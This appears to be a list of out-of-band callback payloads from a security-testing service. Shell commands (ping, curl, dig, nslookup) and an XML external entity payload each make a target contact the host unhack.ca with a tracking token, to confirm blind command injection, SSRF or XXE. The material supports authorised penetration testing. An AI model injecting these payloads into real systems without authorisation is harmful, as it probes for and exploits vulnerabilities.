$ ping -c1 -p 00facd9e7fb3794c0fcf300e233cab00 unhack.ca
$ curl http://unhack.ca/p/facd9e7fb3794c0fcf300e233cab
$ dig facd9e7fb3794c0fcf300e233cab @unhack.ca
$ dig facd9e7fb3794c0fcf300e233cab.ns.unhack.ca
C:\> nslookup facd9e7fb3794c0fcf300e233cab unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/facd9e7fb3794c0fcf300e233cab">]> <foo>&xxe;</foo>